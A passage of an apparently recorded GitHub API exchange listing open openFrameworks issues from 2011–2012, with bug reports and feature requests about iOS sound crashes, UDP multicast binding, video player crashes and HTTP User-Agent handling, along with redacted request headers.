triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 